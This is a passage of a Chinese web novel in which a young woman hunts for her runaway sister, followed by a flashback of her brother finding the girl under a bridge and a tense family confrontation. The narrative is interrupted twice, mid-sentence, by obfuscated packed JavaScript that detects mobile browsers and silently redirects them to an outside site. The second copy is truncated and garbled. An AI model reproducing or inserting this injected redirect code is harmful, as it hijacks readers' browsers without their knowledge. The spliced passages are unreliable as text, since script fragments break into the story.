淮龙小学,淮龙附高,连补习班那儿都空空荡荡。 阮云琛站在街边,目光从巷道的尽头扫到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178238|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补习班的门牌,想要搜寻什么蛛丝马迹。 天边的光线逐渐亮起来,薄雾笼罩在整个街区,让她觉得自己置身一场模糊的梦里。她不喜欢这种感觉,所有的场景都熟悉,却没有出口。 忽然,她的心猛地一沉——像是踩在薄冰上,冰层裂开,冷意瞬间蔓延开来。 ——医院。 这个词像被搁在她脑子里很久,直到这一刻才显露出它真实的可能性。她站直身体,转身朝三轮车走去,声音几乎压着气流:“去医院。” 谢胖子看了她一眼,没多问,三轮车发动起来。车轮碾过路面时的声音一下下像是落在她心口上,每一声都把她那点勉强撑起来的冷静敲碎一点。 医院的走廊里充斥着匆忙的脚步声和低声的交谈,灯光冷白,一尘不染的瓷砖地面反射出微弱的光。 挂号处已经排了几个人,带着清晨特有的疲惫感,有人无声地揉着太阳穴,有人抱着孩子轻轻拍着背。 阮云琛几乎是冲进来的。 她扫了一眼急诊大厅,压了压呼吸,快步走到挂号窗口,敲了敲玻璃,力度刚好——既不至于显得鲁莽,又能让里面的护士注意到她。 “小朋友,姓阮,叫阮淼淼。”她的声音不高,却透着急切,“六年级的女孩子,昨晚有没有送过来?肺病,短头发,眼睛大,很瘦。” 护士抬头看了她一眼,手上的动作没停,嘴上却客气地回应:“等下,我查查记录。” 等待的时间被拉得无比漫长,阮云琛盯着护士翻查的动作,指尖紧紧捏着衣角,拇指指腹在毛线表面摩挲个不停。几秒钟后,护士摇了摇头:“没有,急诊昨晚没有接收这样的病人。” 阮云琛点了一下头,喉咙里有些发紧,挤出一句:“谢谢。” 说完立刻转身朝楼梯走去。 她几乎是用跑的,穿过一楼的急诊病房,每一个门口都扫上一眼,没有放过任何一张小小的病床。目光紧紧追随着每一个可能的身影,但始终一无所获。 二楼是门诊区。 她在挂号处再问了一遍,得到了相同的回答:“昨天没人带孩子来看病。” 空气似乎越发稀薄,阮云琛的额头沁出一层薄汗。她拽了拽外套,深吸了一口气,强迫自己镇定下来。她知道不能放过任何可能的地方,哪怕是最不可能的角落。 楼梯的扶手被抓得生了些温度,她快步上到三楼的住院部,和值班护士打了招呼后开始一间间房地找。 病房门有的开着,有的关着,走廊里安静得只能听到护士推车经过的细微声响。阮云琛不敢直接闯进去,只是从门边探头扫一眼,确认床上躺着的不是自己要找的人。 每一间房间,每一次探头,心脏都像是被揪着,直到目光扫过却没有找到熟悉的身影,才稍稍松开一点。 “没有……”她的嘴唇轻轻动了一下,像是在自言自语,声音轻得几乎听不到。 从住院部最后一间病房走出来时,走廊的尽头透出一丝窗外的晨光,凉意扑面而来。阮云琛站在那儿,指尖攥着外套的拉链,目光停留在窗外。 心脏仿佛被什么钝钝地压着,沉得喘不过气。 “怎么样?找到没?”谢胖子匆匆跑过来,三轮车的钥匙还捏在手里,寒风吹得他胖乎乎的脸上带着些许红。 阮云琛摇了摇头,声音哑得厉害:“没有。” 谢胖子站在她面前,一边喘着气一边开始絮叨:“哎呀,这医院里都找遍了,要是真送过来,不可能没人见着。要不咱再去别的医院?淼淼那么小,不会自己跑哪儿去的吧?还有那阮秋,怎么也不说个话就消失了……” 他的声音像是隔了一层厚厚的纱,传不到阮云琛耳里。 她站在那里,手指下意识地抓着衣袖,动作机械而紧绷,眼神死死盯着前方虚无的某一点。脑子里翻涌着无数个猜测,每一个都像利刃一般刮过神经。 如果不是生病送医,那是去哪里了?如果不是自己没找对地方,那会不会……真是宋祈? 这个名字就像一把生锈的钉子,被狠狠砸进了脑子里。 阮云琛的喉咙一阵发紧,太阳穴也隐隐作痛。她强迫自己深吸一口气,却怎么也无法摆脱那种越来越重的压迫感。 宋祈从未彻底消失过,他像是阴影,总是在她最脆弱的时候悄然逼近。 她手上的力道越来越大,指尖微微发白,连周围的一切都开始模糊起来。 谢胖子还在絮叨什么,声音嗡嗡作响,不断拍打着她的意识,却像是被屏蔽了一样,成了一种背景噪音。 忽然,一只手拍在她肩上,猛得将她拉回了现实。阮云琛抬头,眼神带着一瞬间的茫然。 “哎,你们搬家之前住哪儿啊?”谢胖子皱着眉,嘴里念叨,“他们不会是去以前的地方了吧?” 这句话像一根针刺破了她脑子里紧绷的那根弦。阮云琛愣了一秒,接着猛地反应过来,转身一把抓住谢胖子的胳膊:“四幼家属楼!你能送我去吗?” “得嘞!下楼!上车!咱赶紧走!” 三轮车驶离医院门口时,晨光渐渐亮透天际,街道上的冷清慢慢褪去,取而代之的是清晨的忙碌与嘈杂。谢胖子蹬着车,一边絮絮叨叨:“稳着点儿啊,马上到了。” 他说着回头看了一眼,嘴里还带着几分轻松的口气,“你别急,说不定就是回那儿了。淼淼不是小孩里最认家的一个嘛!” 胖子的话像一根悬浮的稻草,哪怕再轻,也让人忍不住抓住。阮云琛猛吸一口气,努力让自己的心跳慢下来。可是那种不安的刺痛依然盘踞在心里,一点点吞噬掉她的冷静。 车轮滑过最后一段破损的街面时,阮云琛已经跃下了车。四幼家属楼的轮廓出现在晨光里,门口的铁栅栏上布满锈迹,巷子深处的阴影带着寒意扑面而来。 她没有犹豫,脚步加快,直奔那条熟悉的小巷而去。 巷口的寒风带着潮湿的气息,夹杂着冬日的冷意迎面扑来。那里依旧那般逼仄,墙角的青苔在晨光下泛着暗绿色,地砖上还残留着雨水留下的积痕。 她的脚步没有一丝犹豫,鞋底踩在湿滑的地面上发出细微的声响。尽管脚步飞快,心脏却跳得更快,像是被拉紧的弓弦,随时可能崩断。 每一步都让那个藏在内心深处的念头更加鲜明:他们就在这里......可能就在这里。 从巷子入口到楼门不过几十步路,但阮云琛却觉得异常漫长。她努力逼自己回想这段时间的点点滴滴,试图从细节里找到能解释一切的理由。 淼淼会不会只是想回到以前的地方看看?以前的家对她来说,是否依然是个归宿?还是说,她和阮秋都在逃避某种压力? 脑子里闪过无数种可能,每一个都让她的脚步更急了一分。路边停放的破旧自行车,杂乱堆叠的废弃家具,以及巷子深处的昏暗灯光,一切都像是某种警示。 转过最后一个弯,她终于看到了那座旧楼。 五层的小楼依旧沉默伫立,墙体上剥落的白漆和长长的裂缝像一张皱巴巴的老脸。楼下的小店早已关门,门上的铁锁锈得不成样子。 她几乎是在屏住呼吸的情况下走近,眼神不断扫过每一扇窗户,期待却又恐惧地想要看见些什么。 突然,一阵轻微的脚步声从巷子深处传来。 阮云琛愣了愣,猛地转过了头,目光落在巷口。 只见两道熟悉的身影缓缓从阴影中走出来,脚步慢而沉,带着疲惫和倦意。 是...... 是他们。 82. 怒 阮云琛盯着面前的两人,手指攥得发紧。怒火像是一股烧灼的热浪,从胸口升腾起来,却硬生生被她压在喉咙里。 她的目光扫过淼淼红肿的眼睛和阮秋憔悴的脸,直觉告诉她事情绝不简单,可追问的话到嘴边,却像被一只无形的手按住,堵得说不出来。 阮秋抬起头的一瞬间,那双眼睛里闪过的震惊却没能藏住。 不止是震惊,甚至还有些......措手不及。 他看见阮云琛站在那里,天光笼罩着她的身影,目光锐利得像刀,直直落在他身上。那一刻,他的脚步稍稍顿了一下,仿佛身体本能地反应过来,不安已经先一步侵占了他的神经。 但这种震惊仅仅维持了不到两秒。阮秋的表情很快恢复平静,他低下头,手轻轻拉了拉淼淼的手腕,像是在确认她的状态,也像是借这个动作掩饰自己。 然后他重新抬起头,目光里甚至带着几分若无其事的淡然。 “姐?”他的声音平稳得让人无从挑剔,语气里还有点不解,“你怎么来了?” 他的语气自然得过分,仿佛阮云琛出现在这里再正常不过。 那一抹震惊被他压得干干净净,连唇角扬起的弧度都带着几分少年人惯有的无谓和坦然。他甚至拉了拉淼淼的肩膀,像是在无声地护着她,又像是试图让阮云琛的注意力转移到淼淼身上。 阮云琛盯着他,眉头紧紧锁着。 她不喜欢这种过于冷静的掩饰,就像一片完美无缺的玻璃,却透着一股薄薄的冰冷。她不信这个镇定是自然的。她太了解阮秋,他从不是一个能轻易掩饰情绪的人。 “我怎么来了?”阮云琛深吸一口气,强迫自己保持冷静,可胸腔里的愤怒已经压不住。她快步上前,目光先扫过淼淼,又落在阮秋身上,声音低沉而压抑,“你们昨晚去哪儿了?我打电话没人接,今早家里也没人,你们......你们怎么想的?!” 她的目光落在阮秋身上,带着一种试探的锋利。她想从他的脸上找到破绽,可他站在那里,表情平静得滴水不漏,甚至还微微皱了皱眉,像是在为自己的“无辜”感到不解。 “淼淼昨天想家了。”阮秋解释得简单而直接,声音依旧沉稳,“她非要回来,我就带她回来了。睡了一晚上,没事的。” 阮云琛盯着他的脸,目光像刀一样锋利,试图从他的表情里找到破绽。他的脸上却平静得让人捉摸不透,甚至带着几分理所当然。这样的镇定反倒让她的心更加不安。 “你知不知道——”她话到一半,却又忽地顿了住。她的胸口因为急促的呼吸剧烈起伏了一下,声音里掺杂着隐忍的愤怒,可后面半句,却怎么也说不出来了。 说什么? 说怕他们被宋祈带走? 说怕他们出现意外? 说怕她一回来,找到的就是他们的......尸体? 可选择离开家出去上大学的......是她自己不是吗? 选择放下担子,将这重量转移到阮秋身上的,也是她自己不是吗? 阮云琛不想责怪阮秋,也不想把自己的愤怒转嫁到弟弟妹妹身上,但那种濒临失控的恐惧太真实了,真实到让她即使是现在也忍不住发抖,让她忍不住用力抓紧了手边的东西,指节发白。 阮秋静静地看着她,眼神里那一瞬间的复杂情绪闪过,却没有停留太久。 他低头看了一眼淼淼,像是确认她没事,随即又抬起头,语气依旧轻松:“姐,真的没事。这地方你也知道,就是睡了一觉,没出什么问题。” 阮云琛没有立刻回答。 风从巷子深处吹过来,卷起脚边的落叶。她的脑子里曾闪过无数可能性,每一个都让她的呼吸更加急促。 她紧紧盯着阮秋,直觉告诉她事情没有那么简单,但他的镇定像是一堵高墙,拦住了她所有的怀疑。 淼淼怯生生地抬起头,拉了拉阮秋的袖子,小声说:“姐,对不起,我就是……想回来看一眼,所以昨天让秋哥带我来了......” 阮云琛张了张嘴,却没说出话来。她的肩膀微微放松了一些,抬手揉了揉额头,心里依然像压着一块巨石。风再一次吹过,凉意让她背脊一阵发紧。 阮云琛的视线落在淼淼红肿的眼睛上,喉咙微微一紧,胸腔里的怒火也被这一瞬间的担忧浇灭了一半。她深吸一口气,声音稍微放缓了一些:“真的没事?” 阮秋轻轻点了点头,眼神里带着一种淡淡的安抚:“没事。” 他抿了抿嘴,手还紧紧握着淼淼,微微泛红的指节泄露了一丝不安。淼淼缩了缩肩膀,嘴唇嗫嚅着,似乎想开口,却最终仍是一言不发。 清晨的风像刀一样划过皮肤,冷得刺骨。 阮云琛站盯着阮秋和淼淼,手指无意识地攥紧外套下摆。她的目光扫过他们,定格在阮秋脸上,久久没有移开。 她知道阮秋在撒谎。 他说得轻描淡写,可语气里那种刻意的平静让她更警觉。 淼淼低着头,双手揪着阮秋的衣角,像是做错了事的小孩,嘴唇抿得死紧,甚至不敢看她一眼。 阮云琛胸腔里积攒了一整夜的愤怒和担忧,此刻像一团乱麻,怎么理都理不清。 ——他们瞒了什么? 她能看出来,能感觉到。 可他们站在那里,好像没事人一样,阮秋的镇定甚至透着几分少年人特有的无所谓。这种态度让她想把所有的问题砸到他面前,让他无处可逃。 但现实又让她无法行动。 他们看起来没受伤,站在这里,好端端的——除了淼淼哭过,除了阮秋没睡。 空气里弥漫着潮湿的冷意,阮云琛深吸了一口气,胸腔里的怒火勉强压下了一半。 她知道现在不是发火的时候,可那种无力感让她的声音低得像是从牙缝里挤出来:“为什么不提前跟我说?” 阮秋站在那里,目光平静而淡然。他的回答很简单:“我们......没想到你刚好打电话过来,就只是回家来睡了一晚。” 他的话听上去无懈可击,却像是一层玻璃,把她的质疑全部隔在外面。 阮云琛眯起眼,目光停在他的脸上,可直觉告诉她,这背后藏着她看不见的东西。 ——他在撒谎,淼淼也是。 淼淼的情绪明显不对。 可阮秋护着她,甚至没有给她开口的机会。 阮云琛的喉咙动了一下,想再问,可...... 可他们现在站在这里,安然无恙——至少表面上是这样的。 “姐,你不是还要考试吗?”阮秋的声音低了些,带着点少见的柔和,“再不回去,赶不上了。” 他的目光平静,像是一种无声的催促。 “你是找学校请假了吗?”他问,“没请假的话......没请假的话,你得赶紧回去吧,不然万一下了处分......” “对啊!”一直在旁边观战的胖子突然插了一嘴,“你们警校不是不给随便外出的吗?” 阮云琛没有回答,只是眉头皱得更紧了些。 阮秋在转移话题——这一点毋庸置疑。 可他也知道他用了她无法反驳的理由。 她的时间不多了,她从田家庄连夜赶回来,原本是为了确保他们的安全,现在却成了面对这一片模糊真相的无力。 “身体没事?” 阮云琛紧咬着牙关,她知道自己的声音里有藏不住的怒意,可她并不想吓到眼前的两人。 可淼淼似乎还是被吓到了。 她抽噎了一声,松开了阮秋的手,走上前来拉了拉阮云琛的衣摆,小声支吾:“姐姐,我真的没事......我真的就是、就是想家......我想你了。” 阮云琛的呼吸一顿,所有的情绪像是被一根细线扯住,瞬间停在了原地。 她垂下目光,看到淼淼红肿的眼睛,眼角还挂着未干的泪痕。那声“我想你了”在寒冷的空气里飘散,却沉甸甸地落进了她的心里。 是她...... 是她让淼淼受了这么多苦,是她没有守在她身边。 阮云琛的肩膀微微垮了些,手指动了动,想要抬起手去碰一碰淼淼的头,却又停在半空中。 她怕自己的动作会让这个孩子更委屈。 阮云琛低下了头,喉咙突然像被堵住了一样发紧。 她确实没资格责怪他们。 她选择了离开,选择了把这一切交给阮秋,可现在又站在这里,质问他们为什么瞒着她,质问他们出了什么问题…… “没事就好……”她的声音哑得厉害,像是从喉咙深处挤出来的。她伸手扶住淼淼的肩膀,指尖微凉,压得有些轻,像是怕自己用力会让她退开。 风从巷子深处吹过,卷起几片枯叶,带着一点冬日的凉意钻进阮云琛的衣领。她闭了闭眼,努力压下心里翻涌的情绪,试图用冷静包裹自己。 “我们真的没事,”阮秋的声音再度响起,带着少年人惯有的笃定和镇定,“淼淼昨晚情绪不好,我就带她回来看看。现在你人找到了,你该回去做自己的事了。” 谢胖子站在一旁,撑着三轮车把,附和道:“对啊,既然都没事了,赶紧回去吧!车站那边可等不你。” 阮云琛没动,目光依旧落在阮秋脸上,可他的平静让人抓不住任何破绽。她张了张嘴,最终没有说话。 阮秋看她还在犹豫,主动上前一步,轻轻拍了拍她的肩膀,声音压低了些:“姐,放心吧,我会看着她的......什么事都不会有。” 他像是生怕阮云琛不相信似的,又喃喃重复了一遍:“什么事都不会有。” 谢胖子见气氛僵着,赶紧插嘴:“对对对,阮妹妹,赶紧的!人找着了,你也该回去忙你的了!快点,上哥的小电车,哥给你载客运站去!” 阮秋趁势走上前一步,拉住阮云琛的手腕,半是引导半是强硬地把她往三轮车上推。他的力气不大,却透着一种不容拒绝的坚定。阮云琛犹豫了一瞬,最终还是坐了上去。 胖子没等阮云琛坐稳,一脚油门就踩了下去。三轮车发出了一声难听的轰鸣,载着风就冲了出去。 阮秋的表情依旧平静,目光温和而笃定。他的手轻轻护着淼淼的肩膀,仿佛在说,他可以照顾好一切。 可这话,说出去连他自己都不信。 他确实差点把淼淼搞丢了。 可他不能跟阮云琛说。 他不能让阮云琛担心,更不能让她难过——起码在她毕业之前,都不能给她添哪怕一丁点乱子。 他告诉淼淼,不许说你跑走的原因,以后更是别再说出你说过的那句话。 淼淼不懂。 可她还是在看到阮云琛时,懂事地停止了哭泣。 阮秋记得前一天晚上,黄昏的光已经褪尽,街道上只剩下稀稀拉拉的行人。他站在学校门口,盯着空荡荡的校门,心里发紧。他看了眼手表,指针指向六点半。 可淼淼并没有像往常一样和同学们一起出来。 她......去哪儿了? 他的脑海里像走马灯一样闪过各种可能:是不是她被老师留了下来?是不是她贪玩,跑去找同学了? 可这些可能都没能安抚他越来越紧绷的神经。 一个十一岁的孩子,怎么会不打招呼就走? 门卫锁了门,探出头看了他一眼,语气中带着几分无奈:“小伙子,别等了,都放学一个多小时了。” 阮秋没有回答。 他的脑子嗡嗡作响,耳边像灌满了风声,一句话都听不进去。 淼淼没有出现,她没有像往常那样跑到校门口拉着他的手喊“哥”,也没有在辅导班的门口等着他接。 ——她不见了。 她会去哪儿? 脑海里浮现出无数种可能性,他的手指下意识地揪紧衣角,掌心已经出了汗。冷风穿过校门,他站在那里,僵硬得像一尊雕塑,心里翻涌着越来越浓的恐惧。 “不会有事的。”他在心里说,可这种安慰轻飘飘的,没有丝毫分量。他转身朝辅导班的方向跑去,脚下的步伐急促,踩在地面上发出沉闷的声响。 夜色一点点深了,街上的行人逐渐稀少。 阮秋从辅导班到家,从家到医院,跑遍了所有可能的地方,脚步越来越急,心跳也越来越重。 路灯昏暗,冷风吹得脸颊发僵,他站在家门口,扶着膝盖喘气,脑袋里嗡嗡作响。空荡荡的房子里什么都没有,连一点淼淼的影子都找不到。 他站在那里,胸口像压着巨石。那种窒息感一点点攀上心头,愤怒、害怕、不安交织在一起,几乎把他逼到崩溃的边缘。 她去哪了?她一个人能去哪? 阮秋靠在门框上,闭着眼深吸了口气,脑子里像过电影一样回放着淼淼的每一句话、每一个表情。 她最近总是沉默,目光游移不定,有时候会把书本摔在桌上,喃喃着“烦死了”。他以为这只是青春期的小情绪,可现在看来,并不是这么简单。 她曾经问过他,为什么你不是我亲哥? 那天她坐在桌边,手里攥着笔,作业摊了一桌,可她什么也没写。她抬起头,用一种困惑又倔强的表情盯着他,仿佛在寻找某种答案。 “为什么你不是我亲哥?” 阮秋愣了一下,手里的水杯差点没拿稳。对上她的目光时,他的喉咙像被什么卡住了一样,说不出话来。 “因为……因为、”他支吾了半天,却想不出任何可靠的理由,“别想那么多,先把明天的作业写完。” 他好不容易挤出一句了这么一句含糊不清的回答,语气尽量平静,话题却转得十分生硬。 淼淼没有继续追问。 她只是低下了头,沉默着不说话。 可没过几天,淼淼又问他:“姐姐什么时候回来?” 阮秋正帮她收拾房间,听到这个问题时,手里的动作顿了一下。他直起身,拍了拍手上的灰,勉强挤出一个笑容:“很快,姐忙完考试就回来。” 淼淼点了点头,眼里似乎带着一丝期待,可随即又低下头去,用脚尖踢着地板,没有再说话。 “那……爸爸妈妈呢?”她的声音更低了些,像是怕听到什么不想听的答案,“我的爸爸妈妈,是谁?” 阮秋站在窗边,背对着她,手上的动作顿住了——他不知道该怎么回答这个问题。 他知道阮云琛的过去,自然也知道淼淼的过去。 他知道他们的妈妈去世的时候,淼淼才刚刚学会爬,他也知道他们的爸爸死去的时候,淼淼还不记事。 她的人生概念里,就没有爸爸妈妈的存在。 可阮秋并不是可以回答这个问题的人。 正如淼淼所说—— 他不是她的亲哥哥。 廖致远也不是她的亲生父亲。 阮秋沉默了许久才转过身,故作轻松地说:“你现在不是有姐姐和我吗?还有廖叔叔,咱们家有咱们就够了呀。” 阮淼淼抿了抿嘴,没有点头,也没有反驳,只是收回了目光。 从那之后,她就没再问过。 阮秋记得那些片段,每一个都深深刻在脑海里。她没有继续追问,是因为不想知道,还是因为她已经知道答案? 阮秋的手慢慢垂下,掌心冰凉。 阮淼淼只有11岁。 她还......她还不该承受这些。 阮云琛拼尽了全力给她建起了充满了和平和爱的温室,可那温室终究是假的,是人造的,是有限的天地,是会被发现的。 可他呢?他能告诉她什么? 阮秋沿着街道一路找过去,医院、车站、她平时会路过的小卖部……所有能想到的地方,都没有她的影子。 冷风越吹越紧,路灯的光在他眼里逐渐模糊成了一片。他甚至开始怀疑,怀疑是不是她已经走出了这片街区。 脚下的步伐越来越沉,他的呼吸越来越急促,直到一瞬间,他的脑海里浮现出一张模糊的画面——以前的居民楼。 那个破旧的、充满了油烟和灰尘味儿的街区。 那个他们......那个淼淼和阮云琛曾经呆过的地方。 阮秋突然停下脚步,胸口猛地收紧,脚下的方向在下一秒已经不受控制地转了过去。 他甚至想不起来打车,只念着记忆里的方向,跑过了几条街,转过了几道口,脚步踉跄,几乎是跌着往前去。 可就在快到那老破的居民楼前时,他瞧见路边那熟悉的桥洞下面,有个小小的身影。 桥洞里昏暗潮湿,风夹着霉味从墙壁的缝隙里钻进来。 他看到了女孩蹲在角落,她的头发乱得像是风吹过的野草,双手抱着膝盖,眼睛红肿得几乎睁不开。听到脚步声,她抬起头,目光呆滞而空洞。 有一股混杂着担忧的怒意瞬间从心底冒了出来。 “你疯了是不是!”阮秋冲了过去,低声吼了一句,声音压得像是从胸腔里挤出来的。他的双手撑在膝盖上,喘息着看着她,眼里的怒火几乎要溢出来。 淼淼抬起了头。 她抬头看着他,眼里依旧挂着未干的泪水。可那双眼睛里却带着倔强,她咬着嘴唇,小声说:“我想一个人待会儿。” “待会儿?”阮秋瞪着她,眼神像要把她从里到外看穿,“你知不知道我找了你多久?你知不知道你要是出事了,姐会怎么样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可不管亲不亲,你在这里过一夜,出点事,我照样疯掉。” 他说得很慢,每一个字都像从心里咬出来一样。说完后,他低头看着她,目光沉沉的,像是压着太多东西,最终还是没有说出口。 “我就想一个人待着……”淼淼的声音小了下去,语气里还带着点委屈。 “桥洞是待的地方?”阮秋的声音依旧压得很低,冷得像刀,“这种地方,除了流浪汉,还有什么?” 淼淼没再吭声,泪水顺着脸颊往下滑,她用袖口抹了抹脸,却越擦越模糊。 桥洞里很静,静得只能听见风吹过墙壁的声音。阮秋站在那里,呼吸渐渐平稳下来,可胸口的那股压迫感始终没有散去。 她只有十一岁。她不该承受这些。可他呢?他又能做什么? 阮秋闭了闭眼,觉得头很疼。 他想过要逃避,想过把这些问题留给时间,可眼前这个倔强又无助的孩子告诉他,这一切都不会自己好起来。 “淼淼。”他再次开口,声音里透着些许疲惫,却更稳了,”我们回家好不好?” 清冷的风从桥洞外吹进来,裹挟着湿气和一股难以散去的霉味。阮秋的手伸在半空,微微顿了顿。他的声音低而缓:“回家。” 淼淼没有动。 她垂着头,指尖攥着袖口,像是用尽全力才把委屈和泪水压下去。她的脚步没有挪动,肩膀微微颤抖了一下。 “我不想回去……”淼淼的声音很小,带着一点倔强的哽咽,“我不想回那个地方。” 阮秋的手缓缓放下,蹲在她面前,目光落在她红肿的眼睛上。她的脸埋得低低的,睫毛上还挂着泪珠。他张了张嘴,想要说些什么,却又生生咽了回去。 桥洞里安静得只能听见风声和远处的车流。他的喉咙像是被堵住了一样,胸腔里的情绪翻涌着,却无从出口。 “淼淼,”他终于开了口,声音比刚才更低了些,“你要是在家里待得不开心,那也别再这样跑出来。你要是对我不满意,对廖叔不满意,随便骂我也行。” 他停了一下,深吸了一口气,眼神更深了几分,声音里多了些柔软的成分:“但别对姐姐说这种话。” 淼淼抬起头,眼里还挂着泪意,倔强的神情没有完全散去。她吸了吸鼻子,小声问:“为什么?” 阮秋静了片刻,目光与她对上。他的声音更轻了些,几乎像是在自言自语:“因为她会伤心。” 他低下头,目光落在她握紧衣角的手上,沉默了几秒。桥洞里的风吹得他后背发冷,他的声音却温暖得让人忍不住靠近:“什么父母,什么家人,我们有姐姐......我们有阮云琛,还不够吗?” 淼淼怔了一下,抬头看向他,眼里的委屈和不解被他突然柔和下来的语气拉得松动了一些。 “遇到阮云琛,这已经是我这辈子最好的运气了。”他的声音低缓,但字字分明,“而你...你从出生起就有这么个厉害的、完美的、坚强的姐姐,那是我八辈子都羡慕的福气。” 他说这话的时候,眼神突然变得柔和了许多,像是在对淼淼说,也像是在对自己说。 他的喉咙微微动了动,语气却愈发平静:“如果没有她,我连吃顿饱饭都不可能。更别说能有家,有你了。” 淼淼低下头,轻轻抿了抿嘴唇,没有接话。 “她为我们做了这么多,”阮秋继续说,声音低而缓,像是怕吓到眼前这个倔强的小人儿,“她能让咱们走到今天,已经够了。父母、家人......那些所谓的、每个人都会有的存在,真的重要吗?” 他停了停,叹了一口气,伸出手轻轻放在她的肩膀上:“淼淼,这话......你今天对我说了,就不能再对姐姐说了。她......会伤心的。” “她不说,不代表她不难过。”他说。 这一句话像是一把轻轻的锤子,落在淼淼心口。她的眼睛动了动,手里的衣角攥得更紧了些。 “她总是把最好的都留给我们,”阮秋的声音低下来,像是在回忆什么,“从来没说过苦,没说过累。可她不是超人,她也会疼。” 淼淼的肩膀微微缩了一下,嘴唇动了动,却什么也没说。 桥洞里的风吹得更冷了一些,卷起地面上的尘土。阮秋看着她,眼里的神色渐渐柔了下来,声音也放得更轻:“别再说这些话了,好吗?” 淼淼的嘴唇动了动,却没有出声。 她愣愣地看着他,眼里刚刚燃起的一点反抗被这句话瞬间压了下去。她的脚尖踢了踢地上的石子,声音低得几乎听不见:“我也不是故意的……” 阮秋低叹了一声,伸手拍了拍她的肩膀,手劲很轻,像是在安慰,又像是在叮嘱。他的声音压低了些,带着一种难以言喻的疲惫和柔软:“我知道你不是故意的。所以我没有生气,我只是担心你。” 他停顿了一下,努力组织着语言,目光落在她瘦小的肩膀上,语气又缓了几分:“我知道,我不是你亲哥。可这又怎么样?亲不亲的,真的重要吗?” 淼淼没有抬头,仍旧用脚尖轻轻踢着地上的石子,声音低低地:“重要啊……别人都有亲人,只有我没有……” 阮秋听着这句话,胸口一阵闷痛。 他蹲下身,目光与她平齐,语气比刚才更柔了些:“没有亲人又怎么样?我也没有亲人,可是我有姐姐,有你,有廖叔叔......这对我来说,就已经是足够。” 他伸手轻轻放在她的肩膀上,手掌温暖而有力:“淼淼,我们是家人。不是因为血缘,而是因为我们从一开始就在一起,撑过最难的时候,一直走到今天。亲人也不过是这样。你是我妹妹,我就是你哥。” 他顿了顿,嘴角扬起一丝苦涩的笑意:“我不是你的亲哥,可我却把你当做亲妹妹。我说的每一句话,做的每一件事,都是因为我希望你好,希望你平安。就算我们没有血缘又怎么样?在我心里,你就是我的亲人。” 桥洞里的风带着一丝湿冷,他的话却像是这寒风里的一簇火焰,温暖而坚定。 淼淼抬起头,看着他,眼里的倔强和委屈渐渐褪去了一些,泪水却不争气地再次滑落。她张了张嘴,似乎想说什么,却又咽了回去,只是轻轻“嗯”了一声,带着一点鼻音。 阮秋伸手替她擦了擦脸上的泪,动作很轻。他直起身,朝外看了一眼,语气也轻松了些:“不想回家也没事。我们去以前的家看看,好不好?” 她点了点头,低低地应了一声:“好。” 风从桥洞外吹进来,将两个影子拉得长长的。他握着她的手,像是握着某种不能松开的责任,一步一步,朝着光亮的地方走去。 阮秋带着她回了以前的房子。 那房子空荡荡的,两边的几户邻居都换了人。他们推门出来的时候,互相都愣了一下,最终却也只是点了点头,就匆匆离去了。 阮秋牵着淼淼的手,推开了那扇旧门。 而也如阮秋所料,这次的撒谎,他没能逃得过阮云琛的怒火。 83. 争吵 阮云琛比正常放假晚了一个月才回到家。 原因不为别的,而是因为期末前未经得审批就擅自离校。 期末结束后,她被留校一个月,每天都在训练场接受严格处罚:队列训练、擒拿格斗、跑步冲刺,循环反复。 她咬着牙撑过了每一天,体能训练结束后继续写检讨报告,每晚熄灯后才在微弱的床头灯下批改文件或看书。这样的日子持续了整整四周。 而当她终于踏进家门时,正是一个阴云密布的清晨。淼淼和阮秋早早地站在楼下,远远看见她提着行李箱走来。 她的步伐不紧不慢,眉眼里带着惯常的沉静,唯一不同的是,她的脸上少了一分柔和,多了一分压抑的冷意。 淼淼看到她时愣了一下,下意识地往后缩了缩。阮秋站在她旁边,嘴唇动了动,最终什么都没说,只是迎了上去想接过她的行李。 “用不着。”阮云琛抬手挡开了他的动作,目光平静地扫过两人,“回去再说。” 饭桌上气氛很安静,安静得连筷子碰碗的声音都显得刺耳。 阮云琛坐在桌子的一端,右手的筷子在米饭碗边轻轻敲了几下,没夹菜,也没动饭。她的目光停在阮秋和淼淼身上,没有发问,也没有责备,只是静静地看着他们,像是在等他们开口。 淼淼缩在椅子上,头低得几乎要埋进碗里。她握着筷子的手微微发抖,最后咬着牙抬起头:“姐……” “别叫我。”阮云琛淡淡地打断,声音不大,却像一柄刀直刺人心。 她的视线转向阮秋,语气平静到让人发冷:“上个月究竟是怎么回事?” 空气静得像凝固了一样。 阮云琛坐在桌边,目光落在阮秋的脸上,没有愤怒,也没有责备,只有一种冷静到刺骨的压迫感。 她的筷子垂在手里,敲在碗沿上发出一声轻响,像是时间被轻轻撕裂。 阮秋的手停在半空,最后缓缓放下。他低着头,声音低哑:“没什么好瞒的。我看着淼淼,她没事。” “没事?”阮云琛笑了一声,声音却冷得让人发颤,“你觉得没事,就真的是没事了?” 淼淼缩在一旁,手指攥着筷子,连头都不敢抬,整个人像是被钉在了椅子上。阮秋抿了抿唇,没有回答,只是倔强地垂着眼,不发一言。 “你以为你什么都不说,我就看不出来?”阮云琛把筷子放下,声音不大,但带着清晰的金属般的质感,在空旷的饭桌上回荡。那声轻响像是一记闷棍,敲在阮秋的神经上。 她的目光平静,却像无形的重压,让人无法忽视。 她盯着阮秋,语气冷得让人发寒:“连电话都不接,连我都不告诉,就这样瞒着我,满城乱跑,一个人去找人......你以为自己是什么救世主?” 阮秋的肩膀微微一僵,垂在桌下的手紧攥成拳。他的喉咙像被什么堵住了一样,半晌才挤出一句:“我能解决。姐,我不是小孩子了。” 阮云琛嗤笑了一声,声音冷得像刀,割在空气中:“能解决?瞒着我,就是你所谓的‘解决’?” 